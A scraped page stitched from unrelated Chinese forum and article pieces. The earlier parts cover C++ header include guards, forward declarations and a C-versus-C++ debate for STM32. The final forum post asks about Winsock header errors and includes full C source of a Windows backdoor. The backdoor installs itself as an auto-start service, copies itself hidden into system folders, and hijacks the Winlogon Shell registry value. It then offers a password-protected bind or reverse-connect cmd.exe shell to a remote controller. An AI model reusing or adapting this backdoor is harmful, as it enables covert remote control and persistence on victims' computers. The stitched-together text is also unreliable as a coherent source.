C++c中头文件相互包含包含问题

关于头文件保护符的问题_c++吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:171,736贴子:
关于头文件保护符的问题收藏
#ifndef SALESITEM_H#define SALESITEM_H#endifprimer中避免重复包含Sales_item类的代码如上那么SALESITEM_H是干什么用的呢?
你自己的标题已经说了,还问?
就是个标识符 随便你取什么名字
#ifndef SALESITEM_H#define SALESITEM_H....//your code#endif比如这个头文件被多个源文件包含
第一次包含 看第一句话 #ifnodef SALESTIME_H就是如果没有定义SALESTIME_H 这标识符,接下来就做下面的事,第一次肯定没有定义这个东西,所以就会编译下面的代码,然后看第二次被包含,SALESTIME_H
这个已经被定义了 所以告诉编译器下面的代码不用编译了,就避免了重复包含和重复编译。就相当于if
else一样 这个标识符你自己取,一般的习惯的头文件名大写加_H。
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或其他回答(1)
不会google吗?
&&&您需要以后才能回答,未注册用户请先。您所在的位置: &
C++头文件如何进行重用
C++头文件如何进行重用
C++头文件的作用一般是存放不同的类的地方。在实际编程中,其作用是非常大的。希望大家可以通过本文介绍的内容充分掌握这一技巧。
编程语言从出现至今已经发展的越发成熟,逐渐成为了开发领域中一个重要的应用语言。今天大家可以从这篇文章中详细了解到有关C++头文件的一些嵌套方法,从而让大家更进一步的对这一语言有一个详细的了解。
在实际编程中,不同的类一般是放在不同的相互独立的C++头文件中的,这样两个类在相互引用时又会有不一样的问题。重复编译是问题出现的根本原因。为了保证头文 件仅被编译一次,在C++中常用的办法是使用条件编译命令。
Example: &animal.h& &class&animal& &{& &...... &};& &animal.cpp& &#include&&animal.h&& &#include&& &...... &fish.h& &#include&&animal.h&& &class&fish &{& &......& &};& &fish.cpp& &#include&&fish.h&& &#include&& &...... &main.cpp& &#include&&animal.h&& &#include&&fish.h&& &void&main()& &{& &...... &}&
编译文件,会出现class type redefinition的错误
为什么会出现类重复定义的错误呢?请读者仔细查看EX10.cpp文件,在这个文件中包含了animal.h和fish.h这两个头文件。当编译器编译EX10.cpp文件时,因为在文件中包含了animal.h头文件,编译器展开这个C++头文件,知道animal这个类定义了,接着展开fish.h 头文件,而在fish.h头文件中也包含了animal.h,再次展开animal.h,于是animal这个类就重复定义了。
要解决C++头文件重复包含的问题,可以使用条件预处理指令。修改后的头文件如下:
animal.h& &#ifndef&ANIMAL_H_H& &#define&ANIMAL_H_H& &class&animal& &{& &...... &};& &#endif& &fish.h& &#include&&animal.h&& &#ifndef&FISH_H_H& &#define&FISH_H_H& &class&fish &{& &......& &};& &#endif&
我们再看EX10.cpp的编译过程。当编译器展开animal.h头文件时,条件预处理指令判断ANIMAL_H_H没有定义,于是就定 义它,然后继续执行,定义了animal这个类;接着展开fish.h头文件,而在fish.h头文件中也包含了animal.h,再次展开 animal.h,这个时候条件预处理指令发现ANIMAL_H_H已经定义,于是跳转到#endif,执行结束。
但是不要以为使用了这种机制就全部搞定了,比如在以下的代码中:
//文件A.h中的代码 &#pragma&once &#include&&B.h& &class&A &{ &public: &B*&b; &}; &//文件B.h中的代码 &#pragma&once &#include&&A.h& &class&B &{ &public: &A*&a; &};&
这里两者都使用了指针成员,因此嵌套本身不会有什么问题,在主函数前面使用#include &A.h&之后,主要编译错误如下:
error&C2501:&'A'&:&missing&storage-class&or&type&specifiers&
仍然是类型不能找到的错误。其实这里仍然需要前置声明。分别添加前置声明之后,可以成功编译了。代码形式如下:
//文件A.h中的代码 &#pragma&once &#include&&B.h& &class&B; &class&A &{ &public: &B*&b; &}; &//文件B.h中的代码 &#pragma&once &#include&&A.h& &class&A; &class&B &{ &public: &A*&a; &};&
这样至少可以说明,C++头文件包含代替不了前置声明。有的时候只能依靠前置声明来解决问题。我们还要思考一下,有了前置声明的时候头文件包含还是必要的 吗?我们尝试去掉A.h和B.h中的#include行,发现没有出现新的错误。那么究竟什么时候需要前置声明,什么时候需要头文件包含呢?
【编辑推荐】
【责任编辑: TEL:(010)】
关于的更多文章
Linux之父对C++进行了炮轰,说它是糟糕程序员的垃圾语言,可谓是
诞生于1991年的Java如今已经成为世界范围内应用最为广泛的编程语言之一,专题中...
互联网一大真理便是,有痛点的地方就有机会。现在最想
Eclipse 是一个开源的、可扩展的集成开发环境。平台本
这个架构是从我近期在做的一个项目中剥离出来的,这个
本书根据教育部考试中心2004年最新发布的《全国计算机等级考试大纲》编写,针对计算机等级考试三级网络技术各方面的考点进行讲解
51CTO旗下网站后使用快捷导航没有帐号?
关于STM32中IAR环境下如何包含C++头文件及中断函数问题
在线时间0 小时
TA的帖子TA的资源
一粒金砂(初级), 积分 0, 距离下一级还需 5 积分
12楼: 楼上你好,所有的程序都有封装和继承。
你写个SPI的驱动(类),这样你就可以在这个基础上不断的继承与发展下去,这些工作是你做的,
难道 C++的‘继承’是CPU依靠自己的“智慧”把代表继承下来的吗? 还不是微软的那帮程序员把代码都写好,
然后,你就可以使用它们忽悠的所谓C++‘继承’,当然不用写什么东西,
好比&&按钮 ‘继承’了窗体的某些’特性‘代码。
所有的程序都有封装。
某些变量,函数如果不想告诉被其他外部程序调用,不对外公布入口就可以了,
好比上面说的SPI驱动(类), 只向外提供一个读,一个写,函数不就可以吗?
内部具体的SPI FLASH微代码操作,没必要告诉谁吧,也没必要向外提供吧,这不就是封装了吗?
我看楼上被人忽悠的迷迷糊糊的!
--------------------
十分感谢这位仁兄的指点
我想说的是,你所说的继承是软件工程管理意义上的继承,我说的是代码的无缝直接继承。就是拿来直接可以用的。我知道C这方面也有拿来很容易使用的code,但是你要向上扩展,你多多少少是要改一点code的。而C++不一样,我根本不需要管class里面是怎样的code,直接继承调用它的public函数就ok。甚至可以生成N个同样的对象,放在一个C++容器里面。
这个最直接的例子就是,C++的数据结构类,继承完了一个数据元素,直接放在容器里面,可以动态增长删除。方便着呢。虽然C语言也能做到,但是总感觉数据和代码的打包性能不如C++的好。所以你看现在很多程序员用到的基本数据类型(如队列、栈、链表、树等),极少用C来写,都用C++了。
还有C语言里面的string操作,要用到strcpy,strcat,strcmp,memcpy等叽叽歪歪的函数,而c++只要用=来赋值,用&,&,来判断哪个字符串大哪个字符串小。用==来判断字符串是否相等。用专门的字符串类也懒得管理字符串占用的内存。总之2个字,方便。。。而C语言,在这方面做得很烂。一不留神就出个内存问题。
所以只要CPU允许,我都尽量用C++的。C语言是倾城,但是C++倾国。。。。
在线时间0 小时
TA的帖子TA的资源
13楼: 本帖最后由 netjob 于
14:27 编辑
我说的道理很简单,
不管像11楼说的多复杂的所谓C++封装和继承。最终都要被编译到二进制的机器代码。
也就是说,不管多复杂的高级语言编程。 使用最原始的机器码编程照样可以实现一模一样的功能。
一模一样大小与效率的代码。 是不是?
因为CPU是没有智慧与灵魂的机器。它不会升级,使用高级语言它是不会发展到使用高级的方法来理解的。
最终这个笨机器还是要把高级语言翻译为那个0/1的机器码才能理解啊!
懂吗?13楼的大道先生!
----------------------------
建议13楼用汇编,在汇编的层次做好封装和继承。。。。。
在线时间0 小时
TA的帖子TA的资源
楼上举例的C++串方便,还不是与C一样的代码实现方法!&&难到就不可以用一个封装好的C函数来实现C++那些串的所谓简单明了用法?
这个是别人写好的程序你调用,和你自己写的程序调用。
反正在PC 软件, VC++6.0 和MFC确实是这样:
目前MFC已经完全被微软淘汰掉了。这个是事实。取而代之的是DOT NET FRAMEWORK.
是吸取了JAVA/VB,DELPHI VCL,BCB的众多长处而来的。
但是 BCB确实是不错的。不知为何INSPRIE后期咋样没有多大升级了!
可见这些C++在不断改进。。
在线时间0 小时
TA的帖子TA的资源
C++的好处还是有的,起码他跑起来比java快得多。
-------------------
难到就不可以用一个封装好的C函数来实现C++那些串的所谓简单明了用法?
这个是别人写好的程序你调用,和你自己写的程序调用。
你可以去网上找开源的code,实现复杂的数据结构,用C++的居多。
------------------------
假如我在南昌,我知道,骑自行车可以到北京,火车也可以去北京,飞机也可以去北京。但是三者代表了三个不同的效率和速度。所以,存在的就是合理的。这就是C++存在的理由。。。。。
在线时间0 小时
TA的帖子TA的资源
& & & & & & & & & & & & & & & &&&C++的好处还是有的,起码他跑起来比java/C# /.net快得多。
在线时间0 小时
TA的帖子TA的资源
对于那些所谓字符串操作方便的说法。
我看过VC的CString内部实现的源码,所谓动态添加、增长,其实就是先判断自己的buff是否满足要求,满足要求则直接操作;不满足则先delete buff,然后再new一个buff,接着操作……具体实现不过是把C封装起来罢了
至于CString str3=str1+&hello,world!&;这种应用,不过是编译器帮了个大忙,让你用这样的语法写就可以产生相应的C代码罢了。
所以所谓xx思想是存在人脑中,而不是在编程语言中。各种编程语言都有自己的优点和缺点,没有什么好争论的,青菜萝卜各有所爱。
在线时间0 小时
TA的帖子TA的资源
& & & & & & & & & & & & & & & &&&我还是用0101机器码编程去、、、
在线时间0 小时
TA的帖子TA的资源
27楼: 对于那些所谓字符串操作方便的说法。
我看过VC的CString内部实现的源码,所谓动态添加、增长,其实就是先判断自己的buff是否满足要求,满足要求则直接操作;不满足则先delete buff,然后再new一个buff,接着操作……具体实现不过是把C封装起来罢了
至于CString str3=str1+&hello,world!&;这种应用,不过是编译器帮了个大忙,让你用这样的语法写就可以产生相应的C代码罢了。
所以所谓xx思想是存在人脑中,而不是在编程语言中。各种编程语言都有自己的优点和缺点,没有什么好争论的,青菜萝卜各有所爱。
--------------------------
别人封装过了,就说明他的适应性更强。就好象恐龙进化到了哺乳动物,那哺乳动物一定更高级一样。
在线时间0 小时
TA的帖子TA的资源
C没有C++的封装和继承,所以程序的架构是会有差别的
封装和继承是一种编程思想,而不是某种程序语言的特有行为
既然是一种思想,那么即便用汇编也可以表达,就像你要对女孩儿说“我爱你”的话,你用中文可以说,难道用英文说出来就变成“我恨你了”吗?
C语言的程序也可以体现封装和继承的思想,而且可以体现的很好。
C++的先进性在于他对封装和继承的思想做了强制约束,使它的的实现不在依赖于编程者的思维方式,而是用更为通用的模板,这样提高了程序的可读性和可维护性还有安全性。但这些为了安全性可维护性可读性做的强制约束,并不是封装和继承的本质,而是为了实现它的一种手段。
其实研究下编程语言的发展就知道,总是从提高可读性和可维护性的角度出发,但对于编程思想的体现,我认为任何语言都是可以的。
所以,不是面向对象的语言,也可以写面向对象的程序,只是那些支持面向对象的语言,有更好更清楚更安全的表达方式而已。面向对象也只是一种思想,而不是某种语言的语法,我最开始学习面向对象的时候,那本书是用伪代码写的。
如果觉得面向对象就一定是C++,C#,java的人,我只能说没有学到本质,面向对象思想和编程语言无关,这就是为什么有UML这种东西的存在,而且很流行。
在线时间0 小时
TA的帖子TA的资源
Open Source的Prj用C++的确实比较少
追求效率的人用纯C,追究Object Oriented的用JAVA之类
比如C++的虚函数的处理,靠的是virtual Table问题,如果继承了N层后
那个函数的定位,就是指针的指针的指针的指针的指针的指针的..........
我一个项目发现用CPP后code size会变很大,后来改用C写,套用了CPP的思想
我在里面用了很多this指针,基本上用C和CPP都可以编译,算是为以后留条后路吧,呵呵
在线时间0 小时
TA的帖子TA的资源
JAVA对虚函数的处理,采用了另外一种方案,靠的是名字
所以,如果只是继承了一层的虚函数,CPP的性能远大于JAVA,但继承了N多的层次后,JAVE开始反超CPP了
我们写代码时候也要考虑到语言的特性,扬长避短,为我所用。
在线时间0 小时
TA的帖子TA的资源
& & & & & & & & & & & & & & & &&&到零点了还在回帖呀,辛苦啊
在线时间0 小时
TA的帖子TA的资源
& & & & & & & & & & & & & & & &&&好古老的贴,都是去年过年的事了,马上又要过年了
在线时间3 小时
TA的帖子TA的资源
在线时间0 小时
TA的帖子TA的资源
C++是个好东西,不过不太敢用
就说string吧,支持+-=比strcpy之流方便多了
但是你如果看它的内部实现就会发现大量调用new/delete
另一个好用不敢用的就是vector
一样的原因
就连IAR自己的Help都说对于长期运行系统不建议使用C++
因为很容易就会造成内存碎片
前阵子曾经想过ucos+重载new/delete绕过这个问题
忙。搁下了。
Powered by
逛了这许久,何不进去瞧瞧?查看:1848|回复:2
在使用windowsAPI编程的时候,头文件包含的顺序稍微调换一下,就会出现一些未定义的提示错误。如以下这两个,
g:\svcdoor\main.c(144) : error C2275: 'WSADATA' : illegal use of this type as an expression
c:\program files (x86)\microsoft visual studio\vc98\include\winsock2.h(386) : see declaration of 'WSADATA'。
看到这些错误,也就知道winsock2.h没有起到作用,因为WSADATA是在winsock2.h中的定义的。
那时在程序中使用的头文件顺序如下,#include &stdio.h&
#include &string.h&
#include &winsock2.h&
#pragma comment(lib,&ws2_32&)
#include &windows.h&
#include &door.h&//Note[1]其中door.h是实现函数的声明。
现在有点疑惑的是为什么包含了头文件winsock2.h确使用不了,使用编译工具是vc6.0c++。
觉得可能出现问题的模块是doorfun()这个模块,不知道对不对。望各位不吝赐教
下面是源代码#include &winsock2.h&
#include &stdio.h&
#include &string.h&
#pragma comment(lib,&ws2_32&)
#include &door.h&//Note[1]
SERVICE_STATUS_HANDLE svc_
LPSERVICE_STATUS lpsvc_
STARTUPINFO g_stStartUp;
PROCESS_INFORMATION g_stProcI
//两个管道, 每个管道一个入口, 一个出口
HANDLE g_recv1, g_send1;
HANDLE g_recv2, g_send2;
struct&&sockaddr_
int work=1;
char g_password[32];
int g_remote_
char g_remote_host[64];
char enter_key[2] = {0x0d, 0x0a};
//the details of operation show up in the ServiceMain fuction
int main(int argc,char* argv){
SERVICE_TABLE_ENTRY entry[2]={{&system_51cto&,(LPSERVICE_MAIN_FUNCTION) Svcmain},
{NULL,NULL}
};//建立服务入口表
if(argc==2)
& && &&&if(strcmp(argv[1],&-i&)==0) createsvc();
else printf(&usage:%s -i&,argv[0]);
StartServiceCtrlDispatcher(entry);
VOID WINAPI Svcmain()
//the real service entry
DWORD threadID,
//Here ,the service is ready to start
//you can modify the svc status by the ctrlhandler
lpsvc_st-&dwServiceType=SERVICE_WIN32;
lpsvc_st-&dwCurrentState=SERVICE_CONTINUE_PENDING;
lpsvc_st-&dwControlsAccepted=SERVICE_ACCEPT_PAUSE_CONTINUE|SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
lpsvc_st-&dwWin32ExitCode=0;
lpsvc_st-&dwServiceSpecificExitCode=0;
lpsvc_st-&dwCheckPoint=0;
lpsvc_st-&dwWaitHint=0;
svc_status=RegisterServiceCtrlHandlerEx(&system_51cto&,ctrlhandler,NULL);
if(!svc_status){
printf(&RegisterServiceCtrlHandlerEx error \n&);
status=GetLastError();
if(status!=NO_ERROR)
lpsvc_st-&dwWin32ExitCode=0;
lpsvc_st-&dwServiceSpecificExitCode=0;
lpsvc_st-&dwCheckPoint=0;
lpsvc_st-&dwWaitHint=0;
lpsvc_st-&dwCurrentState=SERVICE_ACCEPT_STOP;
SetServiceStatus(svc_status,lpsvc_st);
//Here ,you need to add the options in the struct of svc_staus
lpsvc_st-&dwCurrentState=SERVICE_RUNNING;
lpsvc_st-&dwCheckPoint=0;
lpsvc_st-&dwWaitHint=0;
SetServiceStatus(svc_status,lpsvc_st);
hevent=CreateEvent(NULL,FALSE,FALSE,NULL);
//you should update the info of svc staus
//Now ,it is time to create our thread for our bd
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) doorfun,NULL,0,&threadID);
WaitForSingleObject(hevent,INFINITE);
//close the handle which is open
CloseHandle(hevent);
CloseHandle(svc_status);
ExitThread(threadID);
VOID WINAPI ctrlhandler(DWORD dwcontrol)
switch(dwcontrol)
case SERVICE_CONTROL_STOP:
& && && && && && && && && && && && && && && && && && &&&lpsvc_st-&dwCurrentState=SERVICE_STOPPED;
& && && && && && && && && && && && && && && && && && &&&lpsvc_st-&dwCheckPoint=0;
& && && && && && && && && && && && && && && && && && && &lpsvc_st-&dwWaitHint=0;
& && && && && && && && && && && && && && && && && && &&&SetServiceStatus(svc_status,lpsvc_st);
& && && && && && && && && && && && && && && && && && &&&//Here ,you just need to modify the struct of svc staus
case SERVICE_CONTROL_CONTINUE:
& && && && && && && && && && && && && && && && && && && && && & lpsvc_st-&dwCurrentState=SERVICE_RUNNING;
& && && && && && && && && && && && && && && && && && && && && &lpsvc_st-&dwCheckPoint=0;
& && && && && && && && && && && && && && && && && && && && &&&lpsvc_st-&dwWaitHint=0;
& && && && && && && && && && && && && && && && && && && && && &SetServiceStatus(svc_status,lpsvc_st);
& && && && && && && && && && && && && && && && && && && && && &&&
//Now , wo need to call the API(SetServiceStatus)&&function to control the svc
//Here we will wirte a fuction to create the service
VOID createsvc()
SC_HANDLE svc_handle,
DWORD tagID;
char exepath[MAX_PATH],syspath[MAX_PATH];
GetModuleFileName(NULL,exepath,MAX_PATH);
GetSystemDirectory(syspath,MAX_PATH);
strcat(syspath,&\\system.exe&);
CopyFile(exepath,syspath,FALSE);
hscm=OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
CreateService(
&system_51cto&,
SC_MANAGER_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
DWORD WINAPI doorfun(LPVOID lp)
& & init_door();
& & WSADATA WSA;
& & //初始化Winsock库,确认所用的版本
& & if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0) {
& && && && && & printf(&[e]Load WINSOCK Failed!\n&);
& && && && && & return -1;
& & SOCKET sock_serv, sock_
& & //充填sockaddr_in结构
& & //任意目标地址
& & local.sin_addr.S_un.S_addr=INADDR_ANY;
& & //协议AF_INET
& & local.sin_family = AF_INET;
& & //设置监听端口
& & local.sin_port = htons(g_port);//host to network
& & int localsize = sizeof(struct sockaddr_in);
& & if (!g_rconnect) { //g_rconnect == 0就是监听模式//标记,这里是反向连接的开始
& && &&&//获取一个套接字
& && &&&sock_lis = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
& && &&&sock_serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
& && &&&if (sock_serv == INVALID_SOCKET){
& && && && &printf(&[e]socket error!\n&);
& && && && &return -1;
& && &&&//将套接字和sockaddr_in结构绑定
& && &&&bind(sock_serv, (struct sockaddr*)&local, sizeof(struct sockaddr));
& && &&&//开始监听
& && &&&listen(sock_serv, 3);
& && &&&printf(&[+]Begin to Listen...on port %d\n&, g_port);
& && &&&//accept函数将进入阻塞状态, 如果有连接请求, 阻塞解除
& && &&&//然后该函数将返回一个新的套接字描述符.用于指定这个连接
& && &&&sock_lis = accept(sock_serv, (struct sockaddr*)&local, &localsize);
& && &&&if (sock_lis == INVALID_SOCKET){
& && && && &printf(&[e]Accept error:%d\n&, WSAGetLastError());
& && && && &return -1;
& && &&&//发送数据
& && &&&puts(&[+]Accept the connection...And send data...&);
& && &&&open_door(sock_lis);
& & } else {&&//否则就是反向连接
& && &&&//将远程主机的端口赋与sockaddr_in的成员
& && && && && && & local.sin_port = htons(g_remote_port);
& && &&&//接着是地址. inet_addr函数能把char类型的IP转换成
& && &&&//能被识别的唯一的32位整数(网络标识)
& && && && && & local.sin_addr.s_addr = inet_addr(g_remote_host);
& && && && &//如果转换后是一个不可用的地址, 就进行域名解析
& && &&&if (INADDR_NONE == local.sin_addr.s_addr) {
& && && && &//gethostbyname函数能把域名转换成
& && && && &//唯一的32位整数(网络标识)
& && && && &printf(&[+]Look up host\n&);
& && && && && && && && &struct hostent *host = gethostbyname(g_remote_host);
& && && && && && && && &if (NULL != host)
& && && && && && && && && && &&&memcpy( &local.sin_addr,
& && && && && && && && &host-&h_addr_list[0],
& && && && && && && && &host-&h_length );
& && && && && & }
& && && && && & sock_serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
& && && && && & while (1){
& && && && &//使用connect函数进行连接.返回0就是连接成功
& && && && && && && && &if (0 == connect(sock_serv, (struct sockaddr *)&local, sizeof(local))) {
& && && && && && && && && & open_door(sock_serv);
& && && && &} else {
& && && && && && && && && & Sleep(10000);
& && && && &}
& && && && && & }
& & //关闭套接字
& && &&&shutdown(sock_lis, SD_BOTH);
& & closesocket(sock_lis);
& & puts(&[+]Close Socket...&);
& && &&&WSACleanup();
& & return 0;
/*&&open_door: 打开控制者和被控端的大门.
*&&@target: 传入一个socket, 为控制者的socket句柄
*&&return: 0
int open_door(SOCKET target)
& & char buf[128] = {0};
& & //密码验证下...
& && &&&while (1){
& && &&&//发送密码提示符
& && && && && & send(target, &password:&, 10, 0);& && &&&
& && &&&//接受密码
& && && && && & recv(target, buf, 64, 0);
& && &&&//调整下接受到的字符串
& && && && && & adjust_cmd(buf);
& && &&&//如果密码正确就放行
& && && && && & if (0 == strcmp(buf, g_password))
& && && && && && && && &
& & //发送个欢迎信息
& & send(target, &--==[ welcome to my simple shell ]==--\n&, 40, 0);
& & //进入工作循环, work变量的状态控制工作状态
& & while (work){
& && &&&//发送个命令提示符
& && &&&send(target, &&&&, 2, 0);
& && &&&//接受控制端的命令,放到buf中
& && &&&recv(target, buf, 128, 0);
& && &&&adjust_cmd(buf);
& && &&&//如果是退出指令就退出程序,这里是&.bye&
& && &&&if ( 0 == strcmp(buf, &.bye&))
& && && && &work = 0;
& && &&&else if (0 == strcmp(buf, &.shell&))
& && && && &get_shell(target);
& && &&&//否则回馈错误消息
& && &&&else
& && && && &send(target, &[e]unknown command.\n&, 21, 0);
& & return 0;
/*&&adjust_cmd: 调整字符串的末尾字符, 使之方便操作
*&&@in: 传入的指定被调整的字符串指针
*&&return: 该字符串指针
char *adjust_cmd(char *in)
& && &&&int i=0;
& & //将索引移动到末尾, 如果发现有回车或者换行
& && &&&while (in[i] != '\r' && in[i] != '\n' )
& && && && && & i++;
& & //就替换成\0
& && &&&in[i]='\0';
/*&&get_shell: 创建cmd进程, 创建管道,
*&&并且将cmd和本程序用管道连接
*&&@target: 传入的指定被调整的字符串指针
*&&return: 0
int get_shell(SOCKET target)
& && &&&SECURITY_ATTRIBUTES stS
& & //充填安全属性结构体
& && &&&stSecurity.nLength = sizeof(SECURITY_ATTRIBUTES);
& && &&&stSecurity.lpSecurityDescriptor = NULL;//deauflt security value
& && &&&stSecurity.bInheritHandle = TRUE;//whether inherit the handle when a new process is created
& & //建立两个管道:
& && &&&CreatePipe(&g_recv1, &g_send1, &stSecurity, 0);
& && &&&CreatePipe(&g_recv2, &g_send2, &stSecurity, 0);
& & //准备创建cmd进程.
& & //充填g_stStartUp结构.这个结构暴长,
& && && &&&GetStartupInfo(&g_stStartUp);
& & //把将启动的程序的标准输入设置成管道1的写入端
& && &&&g_stStartUp.hStdInput = g_recv1;
& & //标准输出以及标准错误输出设置成管道2的读取端
& && &&&g_stStartUp.hStdOutput = g_send2;
& && &&&g_stStartUp.hStdError = g_send2;
& & //两个属性
& && &&&g_stStartUp.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
& & //不要显示cmd程序的窗口
& && &&&g_stStartUp.wShowWindow = SW_HIDE;
& && &&&if (CreateProcess(NULL, &cmd.exe&, NULL, NULL, TRUE,
& && && && && && &&&NORMAL_PRIORITY_CLASS, NULL, NULL,
& && && && && && &&&&g_stStartUp, &g_stProcInfo))
& && &&&DWORD bytes_read, bytes_write,
& && &&&char buff[512] = {0};
& && && && && & while (1) {
& && && && &//把缓冲清空
& && && && && && && && &memset(buff, '\0', 512);
& && && && &//检查下是否有数据在管道中
& && && && && && && && &PeekNamedPipe(g_recv2, buff, 512, &bytes_read, NULL, NULL);
& && && && && && && && &if (bytes_read != 0) {&&//如果有, 就读出来
& && && && && && && && && && &&&ret = ReadFile(g_recv2, buff, bytes_read, &bytes_read, NULL);
& && && && && && && && && && &&&send(target, buff, strlen(buff), 0);
& && && && && & if (ret &= 0) {
& && && && && && &&&fprintf(stderr, &[e]Read pipe error:%d\n&, GetLastError());
& && && && && && &&&& && &&&
& && && && && & }
& && && && && && && && &} else {& && && && && & //否则就由用户输入
& && && && && & bytes_read = recv(target, buff, 512, 0);
& && && && && && && && && && &&&if (bytes_read &= 0){
& && && && && && &&&fprintf(stderr, &[e]recv error:%d\n&, WSAGetLastError());
& && && && && && &&&
& && && && && & }
& && && && && && && && && && &&&adjust_cmd(buff);
& && && && && & //将用户输入的命令写入管道
& && && && && && && && && && &&&WriteFile(g_send1, buff, strlen(buff), &bytes_write, NULL);
& && && && && & WriteFile(g_send1, enter_key, 2, &bytes_write, NULL);
& && && && && && && && && && &&&if (0 == strcmp(&exit&, buff)) {//如果用户输入的是cmd的退出命令exit
& && && && && && &&&//就退出cmd shell交互模式
& && && && && && && && && && && && && & send(target, &[i]Exit CMD Modal.\n&, 19, 0);
& && && && && && &&&
& && && && && && && && && && &&&}
& && && && && && && && &}
& && && && && && && && &Sleep(100);
& && && && && & }
& && && && && & CloseHandle(g_stProcInfo.hProcess);
& && && && && & CloseHandle(g_stProcInfo.hThread);
& & return 0;
int init_door()
& && &&&char file[MAX_PATH],windows[MAX_PATH],sys32[MAX_PATH];
& && &&&GetModuleFileName(NULL,file,MAX_PATH);
& && &&&GetWindowsDirectory(windows,MAX_PATH);
& && &&&GetSystemDirectory(sys32,MAX_PATH);
& && &&&strcat(windows,&\\backdoor.exe&);//补全路径
& & strcat(sys32,&\\backdoor.exe&);
& && &&&CopyFile(file,sys32,FALSE);
& && &&&CopyFile(file,windows,FALSE);
& && &&&//将自己写到注册表, 由explorer加载启动
& && &&&char reg_value[MAX_PATH + 16];
& && &&&sprintf(reg_value, &Explorer.exe %s&,&&windows);
& && &&&HKEY
& && &&&LPCSTR sub_key=&SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon&;
& && &&&RegOpenKeyEx(HKEY_LOCAL_MACHINE, sub_key, 0, KEY_WRITE, &key);
& && &&&RegSetValueEx(key, &Shell&, 0, REG_SZ,(const unsigned char *) reg_value, strlen((const char *) reg_value));
& && &&&RegCloseKey(key);
& & SetFileAttributes(windows,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);&&
& && &&&SetFileAttributes(sys32,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
& && && && &//读取配置文件
& && &&&FILE *fp=fopen(G_OPTION_FILE_NAME, &r&);
& && &&&if (NULL == fp)
& && &&&return -1;
& & fscanf(fp, &rconnect=%d\r\n&, &g_rconnect);
& & fscanf(fp, &password=%s\r\n&, g_password);
& & fscanf(fp, &local_port=%d\r\n&, &g_port);
& & fscanf(fp, &remote_port=%d\r\n&, &g_remote_port);
& & fscanf(fp, &remote_host=%s\r\n&, &g_remote_host);
& && &&&fclose(fp);
}ps:后来发现编译错误的问题,
(1)存在的问题时vc6.0下后缀名为c的文件,变量定义必须在函数调用前,因为这个是严格控制的。
(2)对于头文件包含错误这是由可能发生。在网络编程中经常会使用windows.h和windsock2.h,但是由于windows.h和windsock2.h之间相互包含,所以一般来说将winsock2.h放在windows.h的位置前,这种做法可以解决以下这种错误
[错误情形2:winsock2.h(99) : error C2011: 'fd_set' : 'struct' type redefinition]
第二种错误是:错误情形1:mswsock.h(69) : error C2065: 'SOCKET' : undeclared identifier
这种是因为windows.h里面假如没有宏定义 #define& &WIN32_LEAN_AND_MEAN&&并且_WIN32_WINNT大于或等于0x400,它会主动包含winsock2.h和winsock.h,所以问题的解决在#include &windows.h&前宏定义#define& &WIN32_LEAN_AND_MEAN 即可消除winsock.h的定义
参考文章:
http://blog.csdn.net/j_hui/article/details/5391819
http://blog.csdn.net/markman101/article/details/5738473
版规,发帖可获2无忧币
本帖最后由 qq 于
18:59 编辑
一般出现这种问题都是宏定义的问题
引用:原帖由 向立天 于
09:38 发表
一般出现这种问题都是宏定义的问题 谢谢你的耐心,不过上面出错的宏定义在另外一个程序里面却能够使用,也就是doorfun()这个线程函数,这个之前是一个可以单独编译通过的模块。就是这里有点想不明白
版规,回帖可获2无忧币
站在低处,渴望更高}

我要回帖

更多关于 c 两个头文件互相包含 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信